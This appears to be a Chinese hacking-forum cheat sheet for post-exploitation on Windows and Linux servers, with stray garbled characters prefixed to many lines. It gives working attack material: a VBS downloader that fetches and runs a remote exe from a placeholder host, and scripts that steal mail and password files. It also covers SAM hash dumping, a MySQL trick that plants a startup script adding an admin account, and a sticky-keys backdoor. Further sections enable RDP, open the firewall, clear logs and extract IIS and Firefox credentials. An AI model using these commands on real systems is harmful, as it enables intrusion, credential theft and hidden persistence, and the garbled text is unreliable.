# u4 k" u! \4 C9 k* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
8 [/ R$ ?; \5 l4 v' B; a8 O; Ocalling nmount()

4 i; J( t0 j1 d# g+ y& N( h. h（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
" G5 }$ |7 A. R——————————————
9 V3 D( H5 u" m2 r1 O' e4 z感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
$ F% F- O. B4 S) j————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
: c# O5 n$ D7 t2 _{
1 h  P8 v+ U, O- G- P( [7 d- J注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
3 d" f  U# Q, m! b& C/ e那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
- f" G* @0 ?0 m}  

( [- m" n7 s1 I, ~# e1 U# H提权先执行systeminfo
token 漏洞补丁号 KB956572
4 w$ T* i( s0 bChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
! M$ A5 J  C+ D' l; j, O! x0 `8 S——————————————
$ S5 ~7 z, w( b+ n2、收集系统信息的脚本  
for window：

" g2 Q  M9 F( g: y- ]( I1 O% C@echo off
echo #########system info collection
systeminfo
3 S) l$ N. j8 O9 u. L# j5 qver
' g$ t! G8 G. Q9 S! ]! @" zhostname
net user
net localgroup
& o% h# s! e2 W# onet localgroup administrators
* o- m, v. ]6 T: l% Fnet user guest
net user administrator

: H+ ]0 r9 i! Q, Techo #######at- with   atq#####
3 p# [8 z7 S! I$ g% H, F8 kecho schtask /query
" T+ g! e9 ?6 z8 P2 H
- D1 D; E$ n7 x, {' mecho
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
5 z( A* h% v, _" Jipconfig/all
route print
: J1 _$ w8 a* I9 m& a% Narp -a
* B0 Q. {: i+ k# [netstat -anipconfig /displaydns
echo
echo #######service############
; ~2 z/ A: a' Rsc query type= service state= all
: ?3 f6 g! `# y: E3 Pecho #######file-##############
cd \
) j" ?, x- q( e* `tree -F
( y3 K* A  p) H& {/ ?for linux：
% S" u; t& H- t1 f9 J0 G
$ v, a* A9 B8 {% o#!/bin/bash

echo #######geting sysinfo####
# u- P: n% k& i$ Mecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
1 o/ d) |( ?1 {/ z9 ~9 ocat /proc/meminfo
echo
5 P" d1 Y2 ~+ a! G  Tcat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
######stole the mail......######
; l: W/ d9 l$ w2 P$ ^1 o6 y5 w$ ncp -a /var/mail /tmp/getmail 2>/dev/null
( `+ ?- ~" w" r- v$ Z

9 X9 \- \' g! qecho 'u'r id is' `id`
6 @: l; \8 p; u* B3 ~( j: `( n1 @# Becho ###atq&crontab#####
6 M* k$ E' h2 Eatq
crontab -l
( n$ ]  |# q+ g/ z9 \' [$ R7 xecho #####about var#####
set
2 k- Q3 n* d1 u4 O- X9 G% j
- L+ x8 F0 ~0 ?/ k" _echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
( z; O6 Y; i' `2 zcat /etc/hosts
1 q5 I( ]1 \" V2 M( i  Chostname
( G. z$ ~% ~( J& eipconfig -a
arp -v
echo ########user####
7 t' q& Q. M3 H. |1 h+ |cat /etc/passwd|grep -i sh

echo ######service####
. ~/ T  r' m2 wchkconfig --list
4 V' p& }& l/ ^
6 G6 w# F% U; Y' {  K1 _* Jfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
sleep 5
5 |& i' M6 P9 C+ ]locate password >>/tmp/password 2>/dev/null
* U; {) K7 T. L5 Z) k& zsleep 5
4 D3 H5 I, E9 ^+ ulocate conf >/tmp/sysconfig 2>dev/null
sleep 5
% g2 X+ c) t% ^6 [& S4 m( ?locate config >>/tmp/sysconfig 2>/dev/null
7 [; u7 a8 c2 J5 ]sleep 5

###maybe can use "tree /"###
echo ##packing up#########
# g3 q4 T& p0 d" K$ U  Qtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
' Q8 O4 X1 _8 t; w: vrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
( Q! O' N/ D$ P/ x4 T! S9 O首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
) ~5 E2 H+ v5 G9 ~! g! w注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
0 Z$ Q7 g6 O8 J, a- t接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
! y$ `3 l$ U  O9 ~& ~. D8 o; \——————————————
7 A! Y+ h1 J& H1 K8 j4、vbs 下载者
1
" u6 q: }" S0 U* A; kecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
$ \9 ^, V, G- Zecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
  C4 z! g, A/ D* mecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
5 m- I4 Q+ I4 [% @/ dcftmon.vbs
7 p8 ?' Z3 `+ q+ `: [  k! \
( _, R% R- c" d7 |8 X' ?" Y2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
' P! H* D) t7 ~+ [4 ?s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
+ y! q, _  {6 m  }* ^sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
2 e- z' a, c0 l. T% S, ?: k
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
; T( g. \- a7 _8 i* R% y: L* g. V9 ]
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
! l) d/ P0 L5 b8 ]. c; I5、
: {) _6 r: L* |: F7 g8 Q7 l& g1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
& G$ m* v& R+ n. `# t; H9 ~+ ]2.开启XP&2003终端服务
0 v  T' u3 g7 bREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
. E$ c  \  L' ~8 w  b7 e; sREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
* t( c) w4 L* h0 J0 M2 jREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
7 m$ O- r2 W; Q' l9 U4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
. r2 [" ~4 J/ s0 @6 w6、create table a (cmd text);
/ I- Z+ ?7 P2 m( e% q% e0 ninsert into a values ("set wshshell=createobject (""wscript.shell"")");
( J% L( ~4 z) oinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
) X7 V; A: r3 m9 sinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
- _, @# a6 z# b! w! i1 i6 s8 V# Z8、for /d %i in (d:\freehost\*) do @echo %i

* S* N0 G3 T- b2 ?列出d的所有目录
0 O5 i$ N) ~" p/ B  
7 O- M0 r0 G% \7 g7 h7 I4 f( W- x( g# Q  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来
4 w, H, [/ r. O; [  g$ R4 q5 Q
4 `! x: Q5 |2 X- K/ j- n2.for /r %i in (*.exe) do @echo %i
7 s2 ~6 D  S$ \5 p5 a  
3 t( N  ~5 U/ e* `# N+ \: T- M以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

* u" ?5 O8 |; |7 @7 R- i" r4 n" ~3.for /f %i in (c:\1.txt) do echo %i
  
4 Q+ @+ ^+ }1 J$ R1 H  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
5 N5 S, e  f- y
  delims=后的空格是分隔符 tokens是取第几个位置
——————————
# y( _  u- a1 @5 X●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

8 Q2 e1 X' l7 W: c1 f2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
5 V# Y) m0 c1 Z; P$ C2 S: C修改PortNumber.

! q% W1 k1 D" |1 R3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
/ U& ]9 t) \! f/ x; oreg export HKLM\SYSTEM\RAdmin c:\a.reg

# b/ B9 q/ c' X5.禁用TCP/IP端口筛选(需重启):
& s* ]7 d3 L& M0 G( Q9 m8 q' oREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

7 U2 W4 ?" w- H: D% P1 [* K; H3 n6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
0 e2 b7 o# l2 l( q/ }5 L1 V或者
+ T, M0 L0 o5 M: knetsh ipsec dynamic set config ipsecexempt value=0
& \  R' p: Y+ x( \
  }- S" U* Q! Y$ `; J& }* j1 f7.停止指派策略"myipsec":
& R7 A( m" J  b9 m! i$ i- P* W0 znetsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
, n9 ?& d8 C2 b3 a, L7 f& O; i+ Areg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
9 Y+ q2 n7 A6 M' T" V
9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
: A6 d/ e0 a2 T9 _! jreg save hklm\security c:\security.hive

2 b* p5 S7 ]& i6 V! C3 M10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

7 e7 {3 x; i) wreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
2 t) H" K" Z" Y  I$ n' X3 a  u-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
7 L' Z7 K- {8 s6 w+ X  F/ r/ K( K7 _" WFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
- x. \6 [4 R8 n) ?' Uif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
6 c  t( V' f8 Q- u! j; g: k6 B9 \msgbox("error!")
7 T- x( [# x7 P/ `: s7 ]! x# _wscript.quit
# W) M# c5 A  A: eend if
serverbindings=IIS.serverBindings
0 Q" Y/ K4 R4 b. |& A# FServerComment=iis.servercomment
6 f0 b) [" d+ Tset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
2 g' t# d5 ~3 p' s( M* X- xpath=IIsWeb.path
+ Y' ^; E3 m7 V  h. D4 \& Clist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
- a# [6 V0 p! I! oWScript.Quit
复制代码
1 ~  w. m% Z. {9 Z, \0 K! |! Y----------------------2011新气象，欢迎各位补充、指正、优化。----------------
7 @  ?, L  P, U$ V" M0 W1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
7 v/ F4 T- K5 t! F) \& T- u将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
) s. w1 c& v  s5 B3 A</OBJECT>
% R5 U7 K; B; p4 _7 R复制代码
5 a) c# f! d/ g% }6 M3 q7 c; ^然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
" ^6 b# C8 v+ O4 cPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
) `* t, ^8 i* [9 G, M url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
! s: \) h9 R# H/ w) K url=request.severvariables("path_info")
* M  h. a4 [4 n! C2 g path_info可以直接呈现虚拟路径 顺利解析gif大马

1 ?2 n; R# u) D; v) m% A! f# O==============================================================
- J( N7 I. [3 C2 }! s! aLINUX常见路径：
, U* i: K9 l+ T$ \. X; T
. R+ W# y9 a3 A4 e( e' ]/etc/passwd
# t% t6 [+ k1 k/ ?7 l7 e. u9 z5 ?/etc/shadow
0 w3 e: Q/ [: G/ P+ K( x/etc/fstab
/etc/host.conf
6 ~7 N, J* q: R! T6 P/etc/motd
' g! S- d( |9 p/etc/ld.so.conf
/var/www/htdocs/index.php
1 V) V1 O$ a+ U) P+ }( ~/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
# ~" w' F+ E- r- h( ]* o/var/httpd/conf/php.ini
2 h) T7 j# n$ L$ V4 h! k) o" |& u- m/var/www/index.html
/var/www/index.php
9 Q6 I  J! Q# n/opt/www/conf/httpd.conf
- n# K% K/ b- F: z" d$ u/opt/www/htdocs/index.php
5 A* J) v5 v3 _' N: R9 Q& b' e7 T/opt/www/htdocs/index.html
4 N, \4 T; d2 n/ `/usr/local/apache/htdocs/index.html
% V& \9 O# t+ V/ _% l% z0 {/usr/local/apache/htdocs/index.php
. ^' U( r" ?3 ]* r/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
* P8 {) P5 g9 h# t/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
5 V" G& u2 `& k+ X' S1 {0 f/tmp/apache/htdocs/index.php
2 Z/ F8 W8 E4 G0 B  g/etc/httpd/htdocs/index.php
+ F3 B8 X8 n/ k  K  x  i/ f2 `/etc/httpd/conf/httpd.conf
4 m. ^, w; T# @0 q: ?2 k/etc/httpd/htdocs/index.html
  B' N9 Z$ q/ t3 p1 w) k/www/php/php.ini
/www/php4/php.ini
5 P0 t1 K; T1 R! ]' v/www/php5/php.ini
/ {* O. C  H0 A5 K9 _$ y- c/www/conf/httpd.conf
- L3 T) f- N  ^9 O1 L# n5 c$ |% y' M) j/www/htdocs/index.php
/www/htdocs/index.html
' r8 w( j# i% ~: R/usr/local/httpd/conf/httpd.conf
2 i0 l+ d' S$ |3 q3 m$ @1 o  O  g/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
+ b: O9 S" L. j0 z& \# [/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
. B5 N; \3 q" E. _; b, M/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/ l5 ?2 i% a$ Z. Z$ L/etc/httpd/conf.d/php.conf
; y8 Q& Q. X5 {# _0 G6 v- J/etc/httpd/conf.d/httpd.conf
* u9 ?" G3 L/ {$ q/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
3 c" J: i! \1 z# D/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
) S4 \2 w* Q1 R* U7 H/var/log/apache/error.log
' L- O0 R5 @3 b* N5 @( U/var/log/apache/access_log
7 o  _/ c) z. }' ~# x( D* M- V/var/log/apache/access.log
/var/log/apache2/error_log
8 x- j' j4 U: V# A) e4 j* p/var/log/apache2/error.log
: E% R+ j5 `  ~( \; B3 T: [" h/var/log/apache2/access_log
/var/log/apache2/access.log
+ [# }) X: u; |/var/www/logs/error_log
! b% ?) j) n! }5 K/var/www/logs/error.log
' c- F7 V1 k! r/ j+ S/var/www/logs/access_log
0 M3 [; _5 t& d: c/var/www/logs/access.log
% @6 N6 {7 d0 f# L% }/usr/local/apache/logs/error_log
3 ~% w( x+ W- Z! I/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
0 l3 m+ S* t: P9 L2 G0 H9 c/var/log/error.log
4 d$ ?# r# D7 e' {0 v/var/log/access_log
/var/log/access.log
, g; [: ]  K1 a* A) S/ O* X; X& c/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
$ `4 j' ]4 @7 K) E/ F, k2 R/etc/php.ini
6 ]' B9 w' s9 D. Z# l/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
8 _& B2 E' V' t) w/etc/httpd/php.ini
8 F- d5 l! o6 D/ h# q: I/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
* f2 M0 H7 C! \9 E' M/ a: _- H/usr/local/php5/etc/php.ini
( t6 c$ `/ Z; f) z& l/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
3 C- j0 ^2 x" m& x/usr/local/apache/conf/httpd.conf
$ e' ]1 G; R1 k' z  z) x/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
9 J" M5 w9 z3 Y2 u+ S% v  A/etc/php5/apache/php.ini
' u) b6 P, l" Q7 c/etc/php5/apache2/php.ini
; y7 F9 |" Y+ E- y: Z/etc/php/php.ini
1 r1 [% V- H) e4 }3 }9 @1 R/etc/php/php4/php.ini
( R( l- y7 W- k3 X7 J4 K4 ~/ @0 U/etc/php/apache/php.ini
/etc/php/apache2/php.ini
5 c& F' G+ `, }3 D/web/conf/php.ini
: [' R/ a! c6 y1 @( n, ~! v& ]) A/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
8 a- m# U# y5 d; G" Y8 [/var/local/www/conf/php.ini
& Z( p% J" s1 }3 J4 ?2 f4 B: Y/var/local/www/conf/httpd.conf
* m  P# Y4 V- |+ _: r  z/ o/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
- z. `, M* r' A' K' _+ G1 L/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
* \- M  h  m- U$ m* b, V/php/php.ini
; A# L* \1 m; T& W4 u. ?/PHP/php.ini
- b3 m5 m2 b% k4 d/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
4 L* M& A1 a3 f( ?% F  `/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
. U4 O$ `5 L. q) O% ?9 C6 V/var/log/mysql.log
/var/log/mysqlderror.log
6 B7 G0 B: S( B  r; |8 b/var/log/mysql/mysql.log
# A) L% z! M8 l/ c1 Q, p. l/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
3 V1 j6 M5 d6 g* i' ?, b* F/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
; l- o" v2 c0 D: c' y* H0 ]/usr/local/cpanel/logs
! b8 C# O3 @$ D( H! s/usr/local/cpanel/logs/stats_log
6 K% s: r  J! G/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
% E+ l5 e0 ?/ Z! O+ v# |( l* |/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
" C4 U* f$ }* |, x" `: `. d/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

* h+ t7 B6 T6 w& K* S& H+ x* k2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

) t  H5 L6 Y1 R/ wc:\windows\php.ini
c:\boot.ini
( A% S/ s7 h. |c:\1.txt
c:\a.txt

" u5 f$ F! |* d) n" w1 fc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
4 ^, r  U6 S# V. Kc:\CMailServer\WebMail\index.asp
; d5 N# V6 j  x" P) W# Cc:\program files\CMailServer\CMailServer.exe
1 ?1 o) b2 F1 ~" y, ^, wc:\program files\CMailServer\WebMail\index.asp
0 @8 F  F; a( _. P9 ~C:\WinWebMail\SysInfo.ini
, o0 V5 ^: c" z2 e! @C:\WinWebMail\Web\default.asp
# N$ T: M: x) g, yC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
4 W/ N9 v7 a1 [7 I3 m0 Y  c
) q1 h: ~& e" @0 Y7 E& Uc:\hzhost\databases\url.asp
1 E7 }: f( v, t* P% R
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

0 a* h9 [* T  F. V. \* z3 DC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
( o( N: |: ?0 Z, cc:\www\index.html
c:\WWWROOT\index.html
$ W+ W& ^- }  A. y# P. Cc:\website\index.html
/ ^8 m$ S/ o! Z/ l* A; w0 b/ nc:\web\index.asp
! r" W) G, b1 Z" R6 c- Z7 Yc:\www\index.asp
c:\wwwsite\index.asp
3 y+ `1 N4 R  Pc:\WWWROOT\index.asp
& y: x- Z1 N5 j  {  l# E* qc:\web\index.php
- }1 r" ], p) W5 ac:\www\index.php
c:\WWWROOT\index.php
2 |9 `2 y( ?! y9 Q% n: g0 g; Ic:\WWWsite\index.php
2 q  }- v% B; ?" `c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
' @( J- P" s2 X- d4 Gc:\website\default.html
c:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
! k$ l& e# o; Z: S: U5 B; hc:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
' [" x. B" e4 v( ?! C- qc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
8 d) }( p8 P, R' U- B* w+ \" ~1 \c:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
% ^5 F8 _6 U- D2 X4 i/ [/ fC:\Program Files\Microsoft Office\OFFICE11\winword.exe
: A; K5 L% v$ t" K! Z4 x7 T% ]2 nC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
" m5 M$ T" T4 ^2 h" \; O& lC:\Program Files\winrar\rar.exe
1 ]1 o8 C1 B3 I% s) bC:\Program Files\360\360Safe\360safe.exe
+ F$ U4 w) ]% x6 W2 y/ C" R( z: |C:\Program Files\360Safe\360safe.exe
) e' ?' x7 v" h: ZC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
) ^! b9 o0 d8 ZC:\Program Files\Rising\Rav\RsTask.xml
8 j) `2 e+ o: UC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
% G4 D, @- v, l3 V. VC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
( g) r  O0 y- Y% w: V, zC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
8 W8 m- ]/ l. |9 ?9 M  W' ]* ]C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
: z  k: o: U' o) f. t9 k4 \C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
  y* r! L. N/ ?# E) ~8 DC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
" G- b+ {+ H3 n) {C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
( G/ ?0 R0 o6 ?; ]$ t: c. W5 F" kC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
( L; Z, M) M4 U( KC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
3 l' \$ U8 c; P9 z  q! \C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
# o' e) p* ]# \5 K+ _# X8 ~C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
* T# _) v/ u9 b$ v6 CC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
0 E4 i0 O+ F7 i- ^1 |C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
: J; ~& Z" d8 s* ^3 TC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
9 a6 ^$ I1 d) O" NC:\Program Files\Oracle\oraconfig\Lpk.dll
# B6 I3 K* i3 s) k# ~! SC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
5 ~* m6 O& B5 ]# P& l1 N3 [C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
' C; G1 c: C, k8 n& x1 a) hC:\WINDOWS\system32\config\sam
, R+ k$ c& @! g* D- @1 |! Z# D4 tC:\WINDOWS\system32\config\system
( U% }, k5 U: }$ c% @c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
/ _, z& j9 {5 o7 h2 f4 u3 }2 x, Lc:\tomcat6\tomcat6\bin\version.sh
8 }+ N$ w5 \* }) f5 ]$ ~4 y4 Sc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
; m6 v( `% w8 A+ G) l) i4 D2 O. u3 C% RC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
